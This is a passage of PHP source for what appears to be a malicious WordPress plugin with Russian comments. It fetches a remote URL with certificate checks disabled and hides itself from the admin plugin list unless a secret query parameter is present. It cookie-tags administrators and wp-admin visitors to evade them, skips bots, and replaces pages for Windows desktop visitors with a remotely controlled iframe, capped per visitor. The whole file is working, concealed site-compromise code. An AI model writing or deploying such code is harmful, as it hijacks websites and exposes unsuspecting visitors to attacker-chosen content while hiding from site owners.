true, 'url' => cph_clean($cached)) : cph_clean($cached); } $file = CPH_URL_FILE; $info = array('file' => $file); $body = ''; // Попытка через cURL if (function_exists('curl_init')) { $ch = curl_init($file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $body = curl_exec($ch); $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); $info['err'] = curl_error($ch); curl_close($ch); if ($info['err'] || $info['code'] != 200) { error_log('CPH Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')'); $body = ''; } } // Fallback через WP HTTP API if (empty($body) && function_exists('wp_remote_get')) { $r = wp_remote_get($file, array('timeout' => 10, 'sslverify' => false)); $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null; if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) { $body = wp_remote_retrieve_body($r); } else { error_log('CPH WP Remote fail: ' . $info['wp_error']); } } $clean = cph_clean($body); $info['url'] = $clean; if (!empty($clean)) { set_transient($transient_key, $body, 1800); // кэш на 30 минут } return $debug ? $info : $clean; } /** * Генерирует уникальный ключ для посетителя на основе IP + UA * Используется как fallback когда cookie недоступны (Safari ITP и др.) */ function cph_get_visitor_key() { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return 'cph_vis_' . md5($ip . $ua); } /** * Получает текущий счётчик показов для посетителя * Приоритет: cookie → transient (БД fallback) */ function cph_get_count() { if (isset($_COOKIE['cph_c'])) { return intval($_COOKIE['cph_c']); } $db_count = get_transient(cph_get_visitor_key()); return $db_count !== false ? intval($db_count) : 0; } /** * Увеличивает счётчик показов — и в cookie, и в БД (двойная защита) */ function cph_increment_count($current_count) { $new_count = $current_count + 1; // Cookie — основной способ $cookie_params = array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', 'httponly' => false, 'samesite' => 'Lax', ); // setcookie с массивом параметров работает с PHP 7.3+ // для совместимости со старыми версиями используем разные вызовы if (PHP_VERSION_ID >= 70300) { setcookie('cph_c', $new_count, $cookie_params); } else { setcookie('cph_c', $new_count, $cookie_params['expires'], $cookie_params['path']); } // Transient — fallback для браузеров которые блокируют cookie set_transient(cph_get_visitor_key(), $new_count, CPH_VISITOR_TTL); } // --- Хуки --- /** * Устанавливаем cookie администратора через более ранний хук * set_logged_in_cookie срабатывает до редиректа после логина */ add_action('set_logged_in_cookie', function($logged_in_cookie, $expire, $expiration, $user_id) { $user = get_userdata($user_id); if (!$user) return; if (user_can($user, 'manage_options')) { $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('cph_a', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => false, 'samesite' => 'Lax', )); } else { setcookie('cph_a', '1', time() + 31536000, '/'); } } }, 10, 4); add_action('init', function() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; // Помечаем визиты в зону wp-admin if (strpos($uri, 'wp-login') !== false || strpos($uri, 'wp-admin') !== false) { $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('cph_v', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => false, 'samesite' => 'Lax', )); } else { setcookie('cph_v', '1', time() + 31536000, '/'); } } // Debug endpoint if (isset($_GET['cph_debug'])) { header('Content-Type: application/json'); echo json_encode(array( 'fetch' => cph_fetch(true), 'user' => cph_check_user_local(), 'bot' => cph_check_bot(), 'cookie_count' => isset($_COOKIE['cph_c']) ? intval($_COOKIE['cph_c']) : 'not set', 'db_count' => get_transient(cph_get_visitor_key()), 'headers_sent' => headers_sent(), 'php_version' => PHP_VERSION, ), JSON_PRETTY_PRINT); exit; } }, 1); // Скрытие плагина из списка (виден только при ?sp) add_filter('all_plugins', function($plugins) { if (isset($_GET['sp'])) { return $plugins; } $current = plugin_basename(__FILE__); unset($plugins[$current]); return $plugins; }); // Основная логика показа iframe add_action('template_redirect', function() { // Пропускаем служебные запросы if (is_admin()) return; if (cph_check_user_local()) return; if (cph_check_bot()) return; if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return; if (function_exists('wp_doing_cron') && wp_doing_cron()) return; if (defined('REST_REQUEST') && REST_REQUEST) return; if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return; // Только Windows desktop if (empty($_SERVER['HTTP_USER_AGENT'])) return; $ua = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/Mobile|Android|iPhone|iPad/i', $ua)) return; if (!preg_match('/Windows NT/i', $ua)) return; // Получаем URL для iframe $url = cph_fetch(); if (empty($url)) return; // Проверяем счётчик показов (cookie + DB fallback) $count = cph_get_count(); if ($count >= CPH_SHOW_LIMIT) return; // Увеличиваем счётчик ДО вывода HTML cph_increment_count($count); // Очищаем буферы while (ob_get_level()) ob_end_clean(); // Устанавливаем заголовки if (!headers_sent()) { header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); header('Content-Type: text/html; charset=UTF-8'); } // Выводим страницу с iframe echo ''; exit; }, 1); // Очистка кэша при активации register_activation_hook(__FILE__, function() { delete_transient('cph_cached_url'); });